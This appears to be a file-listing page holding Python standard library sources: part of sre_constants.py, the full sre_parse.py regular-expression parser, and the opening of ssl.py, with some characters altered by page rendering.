AT_LOC_BOUNDARY, AT_NON_BOUNDARY: AT_LOC_NON_BOUNDARY } AT_UNICODE = { AT_BOUNDARY: AT_UNI_BOUNDARY, AT_NON_BOUNDARY: AT_UNI_NON_BOUNDARY } CH_LOCALE = { CATEGORY_DIGIT: CATEGORY_DIGIT, CATEGORY_NOT_DIGIT: CATEGORY_NOT_DIGIT, CATEGORY_SPACE: CATEGORY_SPACE, CATEGORY_NOT_SPACE: CATEGORY_NOT_SPACE, CATEGORY_WORD: CATEGORY_LOC_WORD, CATEGORY_NOT_WORD: CATEGORY_LOC_NOT_WORD, CATEGORY_LINEBREAK: CATEGORY_LINEBREAK, CATEGORY_NOT_LINEBREAK: CATEGORY_NOT_LINEBREAK } CH_UNICODE = { CATEGORY_DIGIT: CATEGORY_UNI_DIGIT, CATEGORY_NOT_DIGIT: CATEGORY_UNI_NOT_DIGIT, CATEGORY_SPACE: CATEGORY_UNI_SPACE, CATEGORY_NOT_SPACE: CATEGORY_UNI_NOT_SPACE, CATEGORY_WORD: CATEGORY_UNI_WORD, CATEGORY_NOT_WORD: CATEGORY_UNI_NOT_WORD, CATEGORY_LINEBREAK: CATEGORY_UNI_LINEBREAK, CATEGORY_NOT_LINEBREAK: CATEGORY_UNI_NOT_LINEBREAK } # flags SRE_FLAG_TEMPLATE = 1 # template mode (disable backtracking) SRE_FLAG_IGNORECASE = 2 # case insensitive SRE_FLAG_LOCALE = 4 # honour system locale SRE_FLAG_MULTILINE = 8 # treat target as multiline string SRE_FLAG_DOTALL = 16 # treat target as a single string SRE_FLAG_UNICODE = 32 # use unicode "locale" SRE_FLAG_VERBOSE = 64 # ignore whitespace and comments SRE_FLAG_DEBUG = 128 # debugging SRE_FLAG_ASCII = 256 # use ascii "locale" # flags for INFO primitive SRE_INFO_PREFIX = 1 # has prefix SRE_INFO_LITERAL = 2 # entire pattern is literal (given by prefix) SRE_INFO_CHARSET = 4 # pattern starts with character from given set if __name__ == "__main__": def dump(f, d, prefix): items = sorted(d) for item in items: f.write("#define %s_%s %d\n" % (prefix, item, item)) with open("sre_constants.h", "w") as f: f.write("""\ /* * Secret Labs' Regular Expression Engine * * regular expression matching engine * * NOTE: This file is generated by sre_constants.py. If you need * to change anything in here, edit sre_constants.py and run it. * * Copyright (c) 1997-2001 by Secret Labs AB. All rights reserved. * * See the _sre.c file for information on usage and redistribution. */ """) f.write("#define SRE_MAGIC %d\n" % MAGIC) dump(f, OPCODES, "SRE_OP") dump(f, ATCODES, "SRE") dump(f, CHCODES, "SRE") f.write("#define SRE_FLAG_TEMPLATE %d\n" % SRE_FLAG_TEMPLATE) f.write("#define SRE_FLAG_IGNORECASE %d\n" % SRE_FLAG_IGNORECASE) f.write("#define SRE_FLAG_LOCALE %d\n" % SRE_FLAG_LOCALE) f.write("#define SRE_FLAG_MULTILINE %d\n" % SRE_FLAG_MULTILINE) f.write("#define SRE_FLAG_DOTALL %d\n" % SRE_FLAG_DOTALL) f.write("#define SRE_FLAG_UNICODE %d\n" % SRE_FLAG_UNICODE) f.write("#define SRE_FLAG_VERBOSE %d\n" % SRE_FLAG_VERBOSE) f.write("#define SRE_FLAG_DEBUG %d\n" % SRE_FLAG_DEBUG) f.write("#define SRE_FLAG_ASCII %d\n" % SRE_FLAG_ASCII) f.write("#define SRE_INFO_PREFIX %d\n" % SRE_INFO_PREFIX) f.write("#define SRE_INFO_LITERAL %d\n" % SRE_INFO_LITERAL) f.write("#define SRE_INFO_CHARSET %d\n" % SRE_INFO_CHARSET) print("done")	7.01 KB	2024-04-17 17:55
📄 sre_parse.py # # Secret Labs' Regular Expression Engine # # convert re-style regular expression to sre pattern # # Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved. # # See the sre.py file for information on usage and redistribution. # """Internal support module for sre""" # XXX: show string offset and offending character for all errors from sre_constants import * SPECIAL_CHARS = ".\\[{()+?^$\|" REPEAT_CHARS = "+?{" DIGITS = frozenset("0123456789") OCTDIGITS = frozenset("01234567") HEXDIGITS = frozenset("0123456789abcdefABCDEF") ASCIILETTERS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") WHITESPACE = frozenset(" \t\n\r\v\f") _REPEATCODES = frozenset({MIN_REPEAT, MAX_REPEAT}) _UNITCODES = frozenset({ANY, RANGE, IN, LITERAL, NOT_LITERAL, CATEGORY}) ESCAPES = { r"\a": (LITERAL, ord("\a")), r"\b": (LITERAL, ord("\b")), r"\f": (LITERAL, ord("\f")), r"\n": (LITERAL, ord("\n")), r"\r": (LITERAL, ord("\r")), r"\t": (LITERAL, ord("\t")), r"\v": (LITERAL, ord("\v")), r"\\": (LITERAL, ord("\\")) } CATEGORIES = { r"\A": (AT, AT_BEGINNING_STRING), # start of string r"\b": (AT, AT_BOUNDARY), r"\B": (AT, AT_NON_BOUNDARY), r"\d": (IN, [(CATEGORY, CATEGORY_DIGIT)]), r"\D": (IN, [(CATEGORY, CATEGORY_NOT_DIGIT)]), r"\s": (IN, [(CATEGORY, CATEGORY_SPACE)]), r"\S": (IN, [(CATEGORY, CATEGORY_NOT_SPACE)]), r"\w": (IN, [(CATEGORY, CATEGORY_WORD)]), r"\W": (IN, [(CATEGORY, CATEGORY_NOT_WORD)]), r"\Z": (AT, AT_END_STRING), # end of string } FLAGS = { # standard flags "i": SRE_FLAG_IGNORECASE, "L": SRE_FLAG_LOCALE, "m": SRE_FLAG_MULTILINE, "s": SRE_FLAG_DOTALL, "x": SRE_FLAG_VERBOSE, # extensions "a": SRE_FLAG_ASCII, "t": SRE_FLAG_TEMPLATE, "u": SRE_FLAG_UNICODE, } TYPE_FLAGS = SRE_FLAG_ASCII \| SRE_FLAG_LOCALE \| SRE_FLAG_UNICODE GLOBAL_FLAGS = SRE_FLAG_DEBUG \| SRE_FLAG_TEMPLATE class Verbose(Exception): pass class Pattern: # master pattern object. keeps track of global attributes def __init__(self): self.flags = 0 self.groupdict = {} self.groupwidths = [None] # group 0 self.lookbehindgroups = None @property def groups(self): return len(self.groupwidths) def opengroup(self, name=None): gid = self.groups self.groupwidths.append(None) if self.groups > MAXGROUPS: raise error("too many groups") if name is not None: ogid = self.groupdict.get(name, None) if ogid is not None: raise error("redefinition of group name %r as group %d; " "was group %d" % (name, gid, ogid)) self.groupdict[name] = gid return gid def closegroup(self, gid, p): self.groupwidths[gid] = p.getwidth() def checkgroup(self, gid): return gid < self.groups and self.groupwidths[gid] is not None def checklookbehindgroup(self, gid, source): if self.lookbehindgroups is not None: if not self.checkgroup(gid): raise source.error('cannot refer to an open group') if gid >= self.lookbehindgroups: raise source.error('cannot refer to group defined in the same ' 'lookbehind subpattern') class SubPattern: # a subpattern, in intermediate form def __init__(self, pattern, data=None): self.pattern = pattern if data is None: data = [] self.data = data self.width = None def dump(self, level=0): nl = True seqtypes = (tuple, list) for op, av in self.data: print(level" " + str(op), end='') if op is IN: # member sublanguage print() for op, a in av: print((level+1)" " + str(op), a) elif op is BRANCH: print() for i, a in enumerate(av[1]): if i: print(level" " + "OR") a.dump(level+1) elif op is GROUPREF_EXISTS: condgroup, item_yes, item_no = av print('', condgroup) item_yes.dump(level+1) if item_no: print(level" " + "ELSE") item_no.dump(level+1) elif isinstance(av, seqtypes): nl = False for a in av: if isinstance(a, SubPattern): if not nl: print() a.dump(level+1) nl = True else: if not nl: print(' ', end='') print(a, end='') nl = False if not nl: print() else: print('', av) def __repr__(self): return repr(self.data) def __len__(self): return len(self.data) def __delitem__(self, index): del self.data[index] def __getitem__(self, index): if isinstance(index, slice): return SubPattern(self.pattern, self.data[index]) return self.data[index] def __setitem__(self, index, code): self.data[index] = code def insert(self, index, code): self.data.insert(index, code) def append(self, code): self.data.append(code) def getwidth(self): # determine the width (min, max) for this subpattern if self.width is not None: return self.width lo = hi = 0 for op, av in self.data: if op is BRANCH: i = MAXREPEAT - 1 j = 0 for av in av[1]: l, h = av.getwidth() i = min(i, l) j = max(j, h) lo = lo + i hi = hi + j elif op is CALL: i, j = av.getwidth() lo = lo + i hi = hi + j elif op is SUBPATTERN: i, j = av[-1].getwidth() lo = lo + i hi = hi + j elif op in _REPEATCODES: i, j = av[2].getwidth() lo = lo + i * av[0] hi = hi + j * av[1] elif op in _UNITCODES: lo = lo + 1 hi = hi + 1 elif op is GROUPREF: i, j = self.pattern.groupwidths[av] lo = lo + i hi = hi + j elif op is GROUPREF_EXISTS: i, j = av[1].getwidth() if av[2] is not None: l, h = av[2].getwidth() i = min(i, l) j = max(j, h) else: i = 0 lo = lo + i hi = hi + j elif op is SUCCESS: break self.width = min(lo, MAXREPEAT - 1), min(hi, MAXREPEAT) return self.width class Tokenizer: def __init__(self, string): self.istext = isinstance(string, str) self.string = string if not self.istext: string = str(string, 'latin1') self.decoded_string = string self.index = 0 self.next = None self.__next() def __next(self): index = self.index try: char = self.decoded_string[index] except IndexError: self.next = None return if char == "\\": index += 1 try: char += self.decoded_string[index] except IndexError: raise error("bad escape (end of pattern)", self.string, len(self.string) - 1) from None self.index = index + 1 self.next = char def match(self, char): if char == self.next: self.__next() return True return False def get(self): this = self.next self.__next() return this def getwhile(self, n, charset): result = '' for _ in range(n): c = self.next if c not in charset: break result += c self.__next() return result def getuntil(self, terminator): result = '' while True: c = self.next self.__next() if c is None: if not result: raise self.error("missing group name") raise self.error("missing %s, unterminated name" % terminator, len(result)) if c == terminator: if not result: raise self.error("missing group name", 1) break result += c return result @property def pos(self): return self.index - len(self.next or '') def tell(self): return self.index - len(self.next or '') def seek(self, index): self.index = index self.__next() def error(self, msg, offset=0): return error(msg, self.string, self.tell() - offset) def _class_escape(source, escape): # handle escape code inside character class code = ESCAPES.get(escape) if code: return code code = CATEGORIES.get(escape) if code and code[0] is IN: return code try: c = escape[1:2] if c == "x": # hexadecimal escape (exactly two digits) escape += source.getwhile(2, HEXDIGITS) if len(escape) != 4: raise source.error("incomplete escape %s" % escape, len(escape)) return LITERAL, int(escape[2:], 16) elif c == "u" and source.istext: # unicode escape (exactly four digits) escape += source.getwhile(4, HEXDIGITS) if len(escape) != 6: raise source.error("incomplete escape %s" % escape, len(escape)) return LITERAL, int(escape[2:], 16) elif c == "U" and source.istext: # unicode escape (exactly eight digits) escape += source.getwhile(8, HEXDIGITS) if len(escape) != 10: raise source.error("incomplete escape %s" % escape, len(escape)) c = int(escape[2:], 16) chr(c) # raise ValueError for invalid code return LITERAL, c elif c in OCTDIGITS: # octal escape (up to three digits) escape += source.getwhile(2, OCTDIGITS) c = int(escape[1:], 8) if c > 0o377: raise source.error('octal escape value %s outside of ' 'range 0-0o377' % escape, len(escape)) return LITERAL, c elif c in DIGITS: raise ValueError if len(escape) == 2: if c in ASCIILETTERS: raise source.error('bad escape %s' % escape, len(escape)) return LITERAL, ord(escape[1]) except ValueError: pass raise source.error("bad escape %s" % escape, len(escape)) def _escape(source, escape, state): # handle escape code in expression code = CATEGORIES.get(escape) if code: return code code = ESCAPES.get(escape) if code: return code try: c = escape[1:2] if c == "x": # hexadecimal escape escape += source.getwhile(2, HEXDIGITS) if len(escape) != 4: raise source.error("incomplete escape %s" % escape, len(escape)) return LITERAL, int(escape[2:], 16) elif c == "u" and source.istext: # unicode escape (exactly four digits) escape += source.getwhile(4, HEXDIGITS) if len(escape) != 6: raise source.error("incomplete escape %s" % escape, len(escape)) return LITERAL, int(escape[2:], 16) elif c == "U" and source.istext: # unicode escape (exactly eight digits) escape += source.getwhile(8, HEXDIGITS) if len(escape) != 10: raise source.error("incomplete escape %s" % escape, len(escape)) c = int(escape[2:], 16) chr(c) # raise ValueError for invalid code return LITERAL, c elif c == "0": # octal escape escape += source.getwhile(2, OCTDIGITS) return LITERAL, int(escape[1:], 8) elif c in DIGITS: # octal escape or decimal group reference (sigh) if source.next in DIGITS: escape += source.get() if (escape[1] in OCTDIGITS and escape[2] in OCTDIGITS and source.next in OCTDIGITS): # got three octal digits; this is an octal escape escape += source.get() c = int(escape[1:], 8) if c > 0o377: raise source.error('octal escape value %s outside of ' 'range 0-0o377' % escape, len(escape)) return LITERAL, c # not an octal escape, so this is a group reference group = int(escape[1:]) if group < state.groups: if not state.checkgroup(group): raise source.error("cannot refer to an open group", len(escape)) state.checklookbehindgroup(group, source) return GROUPREF, group raise source.error("invalid group reference %d" % group, len(escape) - 1) if len(escape) == 2: if c in ASCIILETTERS: raise source.error("bad escape %s" % escape, len(escape)) return LITERAL, ord(escape[1]) except ValueError: pass raise source.error("bad escape %s" % escape, len(escape)) def _uniq(items): return list(dict.fromkeys(items)) def _parse_sub(source, state, verbose, nested): # parse an alternation: a\|b\|c items = [] itemsappend = items.append sourcematch = source.match start = source.tell() while True: itemsappend(_parse(source, state, verbose, nested + 1, not nested and not items)) if not sourcematch("\|"): break if len(items) == 1: return items[0] subpattern = SubPattern(state) # check if all items share a common prefix while True: prefix = None for item in items: if not item: break if prefix is None: prefix = item[0] elif item[0] != prefix: break else: # all subitems start with a common "prefix". # move it out of the branch for item in items: del item[0] subpattern.append(prefix) continue # check next one break # check if the branch can be replaced by a character set set = [] for item in items: if len(item) != 1: break op, av = item[0] if op is LITERAL: set.append((op, av)) elif op is IN and av[0][0] is not NEGATE: set.extend(av) else: break else: # we can store this as a character set instead of a # branch (the compiler may optimize this even more) subpattern.append((IN, _uniq(set))) return subpattern subpattern.append((BRANCH, (None, items))) return subpattern def _parse(source, state, verbose, nested, first=False): # parse a simple pattern subpattern = SubPattern(state) # precompute constants into local variables subpatternappend = subpattern.append sourceget = source.get sourcematch = source.match _len = len _ord = ord while True: this = source.next if this is None: break # end of pattern if this in "\|)": break # end of subpattern sourceget() if verbose: # skip whitespace and comments if this in WHITESPACE: continue if this == "#": while True: this = sourceget() if this is None or this == "\n": break continue if this[0] == "\\": code = _escape(source, this, state) subpatternappend(code) elif this not in SPECIAL_CHARS: subpatternappend((LITERAL, _ord(this))) elif this == "[": here = source.tell() - 1 # character set set = [] setappend = set.append ## if sourcematch(":"): ## pass # handle character classes if source.next == '[': import warnings warnings.warn( 'Possible nested set at position %d' % source.tell(), FutureWarning, stacklevel=nested + 6 ) negate = sourcematch("^") # check remaining characters while True: this = sourceget() if this is None: raise source.error("unterminated character set", source.tell() - here) if this == "]" and set: break elif this[0] == "\\": code1 = _class_escape(source, this) else: if set and this in '-&~\|' and source.next == this: import warnings warnings.warn( 'Possible set %s at position %d' % ( 'difference' if this == '-' else 'intersection' if this == '&' else 'symmetric difference' if this == '~' else 'union', source.tell() - 1), FutureWarning, stacklevel=nested + 6 ) code1 = LITERAL, _ord(this) if sourcematch("-"): # potential range that = sourceget() if that is None: raise source.error("unterminated character set", source.tell() - here) if that == "]": if code1[0] is IN: code1 = code1[1][0] setappend(code1) setappend((LITERAL, _ord("-"))) break if that[0] == "\\": code2 = _class_escape(source, that) else: if that == '-': import warnings warnings.warn( 'Possible set difference at position %d' % ( source.tell() - 2), FutureWarning, stacklevel=nested + 6 ) code2 = LITERAL, _ord(that) if code1[0] != LITERAL or code2[0] != LITERAL: msg = "bad character range %s-%s" % (this, that) raise source.error(msg, len(this) + 1 + len(that)) lo = code1[1] hi = code2[1] if hi < lo: msg = "bad character range %s-%s" % (this, that) raise source.error(msg, len(this) + 1 + len(that)) setappend((RANGE, (lo, hi))) else: if code1[0] is IN: code1 = code1[1][0] setappend(code1) set = _uniq(set) # XXX: <fl> should move set optimization to compiler! if _len(set) == 1 and set[0][0] is LITERAL: # optimization if negate: subpatternappend((NOT_LITERAL, set[0][1])) else: subpatternappend(set[0]) else: if negate: set.insert(0, (NEGATE, None)) # charmap optimization can't be added here because # global flags still are not known subpatternappend((IN, set)) elif this in REPEAT_CHARS: # repeat previous item here = source.tell() if this == "?": min, max = 0, 1 elif this == "*": min, max = 0, MAXREPEAT elif this == "+": min, max = 1, MAXREPEAT elif this == "{": if source.next == "}": subpatternappend((LITERAL, _ord(this))) continue min, max = 0, MAXREPEAT lo = hi = "" while source.next in DIGITS: lo += sourceget() if sourcematch(","): while source.next in DIGITS: hi += sourceget() else: hi = lo if not sourcematch("}"): subpatternappend((LITERAL, _ord(this))) source.seek(here) continue if lo: min = int(lo) if min >= MAXREPEAT: raise OverflowError("the repetition number is too large") if hi: max = int(hi) if max >= MAXREPEAT: raise OverflowError("the repetition number is too large") if max < min: raise source.error("min repeat greater than max repeat", source.tell() - here) else: raise AssertionError("unsupported quantifier %r" % (char,)) # figure out which item to repeat if subpattern: item = subpattern[-1:] else: item = None if not item or item[0][0] is AT: raise source.error("nothing to repeat", source.tell() - here + len(this)) if item[0][0] in _REPEATCODES: raise source.error("multiple repeat", source.tell() - here + len(this)) if item[0][0] is SUBPATTERN: group, add_flags, del_flags, p = item[0][1] if group is None and not add_flags and not del_flags: item = p if sourcematch("?"): subpattern[-1] = (MIN_REPEAT, (min, max, item)) else: subpattern[-1] = (MAX_REPEAT, (min, max, item)) elif this == ".": subpatternappend((ANY, None)) elif this == "(": start = source.tell() - 1 group = True name = None add_flags = 0 del_flags = 0 if sourcematch("?"): # options char = sourceget() if char is None: raise source.error("unexpected end of pattern") if char == "P": # python extensions if sourcematch("<"): # named group: skip forward to end of name name = source.getuntil(">") if not name.isidentifier(): msg = "bad character in group name %r" % name raise source.error(msg, len(name) + 1) elif sourcematch("="): # named backreference name = source.getuntil(")") if not name.isidentifier(): msg = "bad character in group name %r" % name raise source.error(msg, len(name) + 1) gid = state.groupdict.get(name) if gid is None: msg = "unknown group name %r" % name raise source.error(msg, len(name) + 1) if not state.checkgroup(gid): raise source.error("cannot refer to an open group", len(name) + 1) state.checklookbehindgroup(gid, source) subpatternappend((GROUPREF, gid)) continue else: char = sourceget() if char is None: raise source.error("unexpected end of pattern") raise source.error("unknown extension ?P" + char, len(char) + 2) elif char == ":": # non-capturing group group = None elif char == "#": # comment while True: if source.next is None: raise source.error("missing ), unterminated comment", source.tell() - start) if sourceget() == ")": break continue elif char in "=!<": # lookahead assertions dir = 1 if char == "<": char = sourceget() if char is None: raise source.error("unexpected end of pattern") if char not in "=!": raise source.error("unknown extension ?<" + char, len(char) + 2) dir = -1 # lookbehind lookbehindgroups = state.lookbehindgroups if lookbehindgroups is None: state.lookbehindgroups = state.groups p = _parse_sub(source, state, verbose, nested + 1) if dir < 0: if lookbehindgroups is None: state.lookbehindgroups = None if not sourcematch(")"): raise source.error("missing ), unterminated subpattern", source.tell() - start) if char == "=": subpatternappend((ASSERT, (dir, p))) else: subpatternappend((ASSERT_NOT, (dir, p))) continue elif char == "(": # conditional backreference group condname = source.getuntil(")") if condname.isidentifier(): condgroup = state.groupdict.get(condname) if condgroup is None: msg = "unknown group name %r" % condname raise source.error(msg, len(condname) + 1) else: try: condgroup = int(condname) if condgroup < 0: raise ValueError except ValueError: msg = "bad character in group name %r" % condname raise source.error(msg, len(condname) + 1) from None if not condgroup: raise source.error("bad group number", len(condname) + 1) if condgroup >= MAXGROUPS: msg = "invalid group reference %d" % condgroup raise source.error(msg, len(condname) + 1) state.checklookbehindgroup(condgroup, source) item_yes = _parse(source, state, verbose, nested + 1) if source.match("\|"): item_no = _parse(source, state, verbose, nested + 1) if source.next == "\|": raise source.error("conditional backref with more than two branches") else: item_no = None if not source.match(")"): raise source.error("missing ), unterminated subpattern", source.tell() - start) subpatternappend((GROUPREF_EXISTS, (condgroup, item_yes, item_no))) continue elif char in FLAGS or char == "-": # flags flags = _parse_flags(source, state, char) if flags is None: # global flags if not first or subpattern: import warnings warnings.warn( 'Flags not at the start of the expression %r%s' % ( source.string[:20], # truncate long regexes ' (truncated)' if len(source.string) > 20 else '', ), DeprecationWarning, stacklevel=nested + 6 ) if (state.flags & SRE_FLAG_VERBOSE) and not verbose: raise Verbose continue add_flags, del_flags = flags group = None else: raise source.error("unknown extension ?" + char, len(char) + 1) # parse group contents if group is not None: try: group = state.opengroup(name) except error as err: raise source.error(err.msg, len(name) + 1) from None sub_verbose = ((verbose or (add_flags & SRE_FLAG_VERBOSE)) and not (del_flags & SRE_FLAG_VERBOSE)) p = _parse_sub(source, state, sub_verbose, nested + 1) if not source.match(")"): raise source.error("missing ), unterminated subpattern", source.tell() - start) if group is not None: state.closegroup(group, p) subpatternappend((SUBPATTERN, (group, add_flags, del_flags, p))) elif this == "^": subpatternappend((AT, AT_BEGINNING)) elif this == "$": subpatternappend((AT, AT_END)) else: raise AssertionError("unsupported special character %r" % (char,)) # unpack non-capturing groups for i in range(len(subpattern))[::-1]: op, av = subpattern[i] if op is SUBPATTERN: group, add_flags, del_flags, p = av if group is None and not add_flags and not del_flags: subpattern[i: i+1] = p return subpattern def _parse_flags(source, state, char): sourceget = source.get add_flags = 0 del_flags = 0 if char != "-": while True: flag = FLAGS[char] if source.istext: if char == 'L': msg = "bad inline flags: cannot use 'L' flag with a str pattern" raise source.error(msg) else: if char == 'u': msg = "bad inline flags: cannot use 'u' flag with a bytes pattern" raise source.error(msg) add_flags \|= flag if (flag & TYPE_FLAGS) and (add_flags & TYPE_FLAGS) != flag: msg = "bad inline flags: flags 'a', 'u' and 'L' are incompatible" raise source.error(msg) char = sourceget() if char is None: raise source.error("missing -, : or )") if char in ")-:": break if char not in FLAGS: msg = "unknown flag" if char.isalpha() else "missing -, : or )" raise source.error(msg, len(char)) if char == ")": state.flags \|= add_flags return None if add_flags & GLOBAL_FLAGS: raise source.error("bad inline flags: cannot turn on global flag", 1) if char == "-": char = sourceget() if char is None: raise source.error("missing flag") if char not in FLAGS: msg = "unknown flag" if char.isalpha() else "missing flag" raise source.error(msg, len(char)) while True: flag = FLAGS[char] if flag & TYPE_FLAGS: msg = "bad inline flags: cannot turn off flags 'a', 'u' and 'L'" raise source.error(msg) del_flags \|= flag char = sourceget() if char is None: raise source.error("missing :") if char == ":": break if char not in FLAGS: msg = "unknown flag" if char.isalpha() else "missing :" raise source.error(msg, len(char)) assert char == ":" if del_flags & GLOBAL_FLAGS: raise source.error("bad inline flags: cannot turn off global flag", 1) if add_flags & del_flags: raise source.error("bad inline flags: flag turned on and off", 1) return add_flags, del_flags def fix_flags(src, flags): # Check and fix flags according to the type of pattern (str or bytes) if isinstance(src, str): if flags & SRE_FLAG_LOCALE: raise ValueError("cannot use LOCALE flag with a str pattern") if not flags & SRE_FLAG_ASCII: flags \|= SRE_FLAG_UNICODE elif flags & SRE_FLAG_UNICODE: raise ValueError("ASCII and UNICODE flags are incompatible") else: if flags & SRE_FLAG_UNICODE: raise ValueError("cannot use UNICODE flag with a bytes pattern") if flags & SRE_FLAG_LOCALE and flags & SRE_FLAG_ASCII: raise ValueError("ASCII and LOCALE flags are incompatible") return flags def parse(str, flags=0, pattern=None): # parse 're' pattern into list of (opcode, argument) tuples source = Tokenizer(str) if pattern is None: pattern = Pattern() pattern.flags = flags pattern.str = str try: p = _parse_sub(source, pattern, flags & SRE_FLAG_VERBOSE, 0) except Verbose: # the VERBOSE flag was switched on inside the pattern. to be # on the safe side, we'll parse the whole thing again... pattern = Pattern() pattern.flags = flags \| SRE_FLAG_VERBOSE pattern.str = str source.seek(0) p = _parse_sub(source, pattern, True, 0) p.pattern.flags = fix_flags(str, p.pattern.flags) if source.next is not None: assert source.next == ")" raise source.error("unbalanced parenthesis") if flags & SRE_FLAG_DEBUG: p.dump() return p def parse_template(source, pattern): # parse 're' replacement string into list of literals and # group references s = Tokenizer(source) sget = s.get groups = [] literals = [] literal = [] lappend = literal.append def addgroup(index, pos): if index > pattern.groups: raise s.error("invalid group reference %d" % index, pos) if literal: literals.append(''.join(literal)) del literal[:] groups.append((len(literals), index)) literals.append(None) groupindex = pattern.groupindex while True: this = sget() if this is None: break # end of replacement string if this[0] == "\\": # group c = this[1] if c == "g": name = "" if not s.match("<"): raise s.error("missing <") name = s.getuntil(">") if name.isidentifier(): try: index = groupindex[name] except KeyError: raise IndexError("unknown group name %r" % name) else: try: index = int(name) if index < 0: raise ValueError except ValueError: raise s.error("bad character in group name %r" % name, len(name) + 1) from None if index >= MAXGROUPS: raise s.error("invalid group reference %d" % index, len(name) + 1) addgroup(index, len(name) + 1) elif c == "0": if s.next in OCTDIGITS: this += sget() if s.next in OCTDIGITS: this += sget() lappend(chr(int(this[1:], 8) & 0xff)) elif c in DIGITS: isoctal = False if s.next in DIGITS: this += sget() if (c in OCTDIGITS and this[2] in OCTDIGITS and s.next in OCTDIGITS): this += sget() isoctal = True c = int(this[1:], 8) if c > 0o377: raise s.error('octal escape value %s outside of ' 'range 0-0o377' % this, len(this)) lappend(chr(c)) if not isoctal: addgroup(int(this[1:]), len(this) - 1) else: try: this = chr(ESCAPES[this][1]) except KeyError: if c in ASCIILETTERS: raise s.error('bad escape %s' % this, len(this)) lappend(this) else: lappend(this) if literal: literals.append(''.join(literal)) if not isinstance(source, str): # The tokenizer implicitly decodes bytes objects as latin-1, we must # therefore re-encode the final representation. literals = [None if s is None else s.encode('latin-1') for s in literals] return groups, literals def expand_template(template, match): g = match.group empty = match.string[:0] groups, literals = template literals = literals[:] try: for index, group in groups: literals[index] = g(group) or empty except IndexError: raise error("invalid group reference %d" % index) return empty.join(literals)	38.24 KB	2024-04-17 17:55
📄 ssl.py # Wrapper module for _ssl, providing some additional facilities # implemented in Python. Written by Bill Janssen. """This module provides some more Pythonic support for SSL. Object types: SSLSocket -- subtype of socket.socket which does SSL over the socket Exceptions: SSLError -- exception raised for I/O errors Functions: cert_time_to_seconds -- convert time string used for certificate notBefore and notAfter functions to integer seconds past the Epoch (the time values returned from time.time()) fetch_server_certificate (HOST, PORT) -- fetch the certificate provided by the server running on HOST at port PORT. No validation of the certificate is performed. Integer constants: SSL_ERROR_ZERO_RETURN SSL_ERROR_WANT_READ SSL_ERROR_WANT_WRITE SSL_ERROR_WANT_X509_LOOKUP SSL_ERROR_SYSCALL SSL_ERROR_SSL SSL_ERROR_WANT_CONNECT SSL_ERROR_EOF SSL_ERROR_INVALID_ERROR_CODE The following group define certificate requirements that one side is allowing/requiring from the other side: CERT_NONE - no certificates from the other side are required (or will be looked at if provided) CERT_OPTIONAL - certificates are not required, but if provided will be validated, and if validation fails, the connection will also fail CERT_REQUIRED - certificates are required, and will be validated, and if validation fails, the connection will also fail The following constants identify various SSL protocol variants: PROTOCOL_SSLv2 PROTOCOL_SSLv3 PROTOCOL_SSLv23 PROTOCOL_TLS PROTOCOL_TLS_CLIENT PROTOCOL_TLS_SERVER PROTOCOL_TLSv1 PROTOCOL_TLSv1_1 PROTOCOL_TLSv1_2 The following constants identify various SSL alert message descriptions as per http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6 ALERT_DESCRIPTION_CLOSE_NOTIFY ALERT_DESCRIPTION_UNEXPECTED_MESSAGE ALERT_DESCRIPTION_BAD_RECORD_MAC ALERT_DESCRIPTION_RECORD_OVERFLOW ALERT_DESCRIPTION_DECOMPRESSION_FAILURE ALERT_DESCRIPTION_HANDSHAKE_FAILURE ALERT_DESCRIPTION_BAD_CERTIFICATE ALERT_DESCRIPTION_UNSUPPORTED_CERTIFICATE ALERT_DESCRIPTION_CERTIFICATE_REVOKED ALERT_DESCRIPTION_CERTIFICATE_EXPIRED ALERT_DESCRIPTION_CERTIFICATE_UNKNOWN ALERT_DESCRIPTION_ILLEGAL_PARAMETER ALERT_DESCRIPTION_UNKNOWN_CA ALERT_DESCRIPTION_ACCESS_DENIED ALERT_DESCRIPTION_DECODE_ERROR ALERT_DESCRIPTION_DECRYPT_ERROR ALERT_DESCRIPTION_PROTOCOL_VERSION ALERT_DESCRIPTION_INSUFFICIENT_SECURITY ALERT_DESCRIPTION_INTERNAL_ERROR ALERT_DESCRIPTION_USER_CANCELLED ALERT_DESCRIPTION_NO_RENEGOTIATION ALERT_DESCRIPTION_UNSUPPORTED_EXTENSION ALERT_DESCRIPTION_CERTIFICATE_UNOBTAINABLE ALERT_DESCRIPTION_UNRECOGNIZED_NAME ALERT_DESCRIPTION_BAD_CERTIFICATE_STATUS_RESPONSE ALERT_DESCRIPTION_BAD_CERTIFICATE_HASH_VALUE ALERT_DESCRIPTION_UNKNOWN_PSK_IDENTITY """ import sys import os from collections import namedtuple from enum import Enum as _Enum, IntEnum as _IntEnum, IntFlag as _IntFlag import _ssl # if we can't import it, let the error propagate from _ssl import OPENSSL_VERSION_NUMBER, OPENSSL_VERSION_INFO, OPENSSL_VERSION from _ssl import _SSLContext, MemoryBIO, SSLSession from _ssl import ( SSLError, SSLZeroReturnError, SSLWantReadError, SSLWantWriteError, SSLSyscallError, SSLEOFError, SSLCertVerificationError ) from _ssl import txt2obj as _txt2obj, nid2obj as _nid2obj from _ssl import RAND_status, RAND_add, RAND_bytes, RAND_pseudo_bytes try: from _ssl import RAND_egd except ImportError: # LibreSSL does not provide RAND_egd pass from _ssl import ( HAS_SNI, HAS_ECDH, HAS_NPN, HAS_ALPN, HAS_SSLv2, HAS_SSLv3, HAS_TLSv1, HAS_TLSv1_1, HAS_TLSv1_2, HAS_TLSv1_3 ) from _ssl import _DEFAULT_CIPHERS, _OPENSSL_API_VERSION _IntEnum._convert( '_SSLMethod', __name__, lambda name: name.startswith('PROTOCOL_') and name != 'PROTOCOL_SSLv23', source=_ssl) _IntFlag._convert( 'Options', __name__, lambda name: name.startswith('OP_'), source=_ssl) _IntEnum._convert( 'AlertDescription', __name__, lambda name: name.startswith('ALERT_DESCRIPTION_'), source=_ssl) _IntEnum._convert( 'SSLErrorNumber', __name__, lambda name: name.startswith('SSL_ERROR_'), source=_ssl) _IntFlag._convert( 'VerifyFlags', __name__, lambda name: name.startswith('VERIFY_'), source=_ssl) _IntEnum._convert( 'VerifyMode', __name__, lambda name: name.startswith('CERT_'), source=_ssl) PROTOCOL_SSLv23 = _SSLMethod.PROTOCOL_SSLv23 = _SSLMethod.PROTOCOL_TLS _PROTOCOL_NAMES = {value: name for name, value in 